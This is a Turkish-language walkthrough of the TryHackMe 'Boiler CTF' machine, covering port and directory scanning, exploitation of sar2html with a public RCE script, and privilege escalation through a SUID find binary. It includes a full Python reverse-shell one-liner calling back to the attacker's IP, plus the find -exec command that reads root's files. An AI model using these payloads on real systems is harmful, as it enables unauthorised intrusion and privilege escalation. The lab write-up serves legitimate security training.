TryHackMe – Boiler CTF Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Boiler CTF” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nmap -sS -sV 10.10.57.251  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-15 14:03 EDT
Nmap scan report for 10.10.57.251
Host is up (0.077s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
10000/tcp open  http    MiniServ 1.930 (Webmin httpd)

2 — Dizin taraması yapıyorum. Hedef makinede bir “Joomla” sisteminin çalıştığını görüyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# gobuster dir -u http://10.10.57.251 -w /usr/share/wordlists/dirb/common.txt       
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.57.251
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/15 14:05:22 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 291]
/.htpasswd            (Status: 403) [Size: 296]
/.htaccess            (Status: 403) [Size: 296]
/index.html           (Status: 200) [Size: 11321]
/joomla               (Status: 301) [Size: 313] [--> http://10.10.57.251/joomla/]
/manual               (Status: 301) [Size: 313] [--> http://10.10.57.251/manual/]
/robots.txt           (Status: 200) [Size: 257]
/server-status        (Status: 403) [Size: 300]

3 — “robots.txt” dosyasını incelediğimde decimal karakterleri karşıma çıkıyor. Bu decimal karakterleri string’e çevirdiğim zaman ise base64 ile şifrelenmiş bir metinle karşılaşıyorum. Bu metni çözdüğüm zaman bir MD5 hashi elde ediyorum. Bu hashi Crackstation sitesinde çözdüğüm zaman “kidding” kelimesine ulaşıyorum. Yani bu bilgi önemsiz.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# curl http://10.10.57.251/robots.txt
User-agent: *
Disallow: /

/tmp
/.ssh
/yellow
/not
/a+rabbit
/hole
/or
/is
/it

079 084 108 105 077 068 089 050 077 071 078 107 079 084 086 104 090 071 086 104 077 122 073 051 089 122 085 048 077 084 103 121 089 109 070 104 078 084 069 049 079 068 081 075

┌──(root㉿kali)-[/home/kali/Downloads]
└─# echo "OTliMDY2MGNkOTVhZGVhMzI3YzU0MTgyYmFhNTE1ODQK" | base64 -d
99b0660cd95adea327c54182baa51584
                                                                                                                      
┌──(root㉿kali)-[/home/kali/Downloads]
└─# hashid 99b0660cd95adea327c54182baa51584  
Analyzing '99b0660cd95adea327c54182baa51584'
[+] MD2 
[+] MD5

4 — Joomla dizinini incelediğimde “\_test” adında bir dizin buluyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# gobuster dir -u http://10.10.57.251/joomla/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.57.251/joomla/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/15 14:14:49 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 298]
/.htaccess            (Status: 403) [Size: 303]
/.htpasswd            (Status: 403) [Size: 303]
/_archive             (Status: 301) [Size: 322] [--> http://10.10.57.251/joomla/_archive/]
/_database            (Status: 301) [Size: 323] [--> http://10.10.57.251/joomla/_database/]
/_files               (Status: 301) [Size: 320] [--> http://10.10.57.251/joomla/_files/]
/_test                (Status: 301) [Size: 319] [--> http://10.10.57.251/joomla/_test/]
/~www                 (Status: 301) [Size: 318] [--> http://10.10.57.251/joomla/~www/]
/administrator        (Status: 301) [Size: 327] [--> http://10.10.57.251/joomla/administrator/]

5 — “\_test” dizinine gittiğimde “sar2html” dokümanlarını görüyorum. Searchsploit üzerinde exploit arıyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# searchsploit "sar2html"        
------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                      |  Path
------------------------------------------------------------------------------------ ---------------------------------
sar2html 3.2.1 - 'plot' Remote Code Execution                                       | php/webapps/49344.py
Sar2HTML 3.2.1 - Remote Command Execution                                           | php/webapps/47204.txt
------------------------------------------------------------------------------------ ---------------------------------
┌──(root㉿kali)-[/home/kali/Downloads]
└─# searchsploit -m 49344                                          
  Exploit: sar2html 3.2.1 - 'plot' Remote Code Execution
      URL: https://www.exploit-db.com/exploits/49344
     Path: /usr/share/exploitdb/exploits/php/webapps/49344.py
    Codes: N/A
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/Downloads/49344.py

6 — Exploiti çalıştırdıktan sonra komut olarak python reverse shell kodu girip bir bağlantı elde ediyorum. Daha sonra bulunduğum dizindeki “log.txt” dosyasını okuduğumda “basterd” kullanıcısının parolasını buluyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# python3 49344.py 
Enter The url => http://10.10.57.251/joomla/_test/
Command => python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.94.51",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.94.51] from (UNKNOWN) [10.10.57.251] 50346
$ whoami
whoami
www-data
www-data@Vulnerable:/var/www/html/joomla/_test$ cat log.txt
cat log.txt
Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22.
Aug 20 11:16:26 parrot sshd[2443]: Server listening on :: port 22.
Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2 #pass: *CENSORED*
www-data@Vulnerable:/var/www/html/joomla/_test$ su basterd  
su basterd
Password: *CENSORED*

basterd@Vulnerable:/var/www/html/joomla/_test$ 

7 — Basterd kullanıcısının ev dizininde “backup.sh” isimli bir dosya buluyorum. Bu dosyayı okuduğumda “stoner” kullanıcısının parolasını görüyorum. Daha sonra stoner kullanıcısının ev dizinindeki “.secret” dosyasını okuyarak ilk bayrağı elde ediyorum. Bayrağı elde ettikten sonra suid biti aktifleştirilmiş komutları arıyorum ve “find” komutunun suit bitinin aktifleştirildiğini görüyorum.

basterd@Vulnerable:/var/www/html/joomla/_test$ cd /home/basterd
cd /home/basterd
basterd@Vulnerable:~$ ls
ls
backup.sh
basterd@Vulnerable:~$ ls -la
ls -la
total 16
drwxr-x--- 3 basterd basterd 4096 Aug 22  2019 .
drwxr-xr-x 4 root    root    4096 Aug 22  2019 ..
-rwxr-xr-x 1 stoner  basterd  699 Aug 21  2019 backup.sh
-rw------- 1 basterd basterd    0 Aug 22  2019 .bash_history
drwx------ 2 basterd basterd 4096 Aug 22  2019 .cache
basterd@Vulnerable:~$ cat backup.sh
cat backup.sh
REMOTE=1.2.3.4

SOURCE=/home/stoner
TARGET=/usr/local/backup

LOG=/home/stoner/bck.log
 
DATE=`date +%y\.%m\.%d\.`

USER=stoner
*CENSORED*
basterd@Vulnerable:~$ su stoner
su stoner
Password: *CENSORED*

stoner@Vulnerable:/home$ cd stoner
cd stoner
stoner@Vulnerable:~$ ls
ls
stoner@Vulnerable:~$ ls -la
ls -la
total 16
drwxr-x--- 3 stoner stoner 4096 Aug 22  2019 .
drwxr-xr-x 4 root   root   4096 Aug 22  2019 ..
drwxrwxr-x 2 stoner stoner 4096 Aug 22  2019 .nano
-rw-r--r-- 1 stoner stoner   34 Aug 21  2019 .secret
stoner@Vulnerable:~$ cat .secret
cat .secret
*CENSORED*

stoner@Vulnerable:/home/basterd$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/fusermount
/bin/umount
/bin/mount
/bin/ping6
/bin/ping
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/apache2/suexec-custom
/usr/lib/apache2/suexec-pristine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/newgidmap
/usr/bin/find <-----------

8 — GTFObins sitesinden “find” komutu ile nasıl dosya okuyacağımı öğreniyip root dizinindeki ikinci bayrağı da elde ediyorum.

find /root/ -exec cat /root/root.txt \; -quit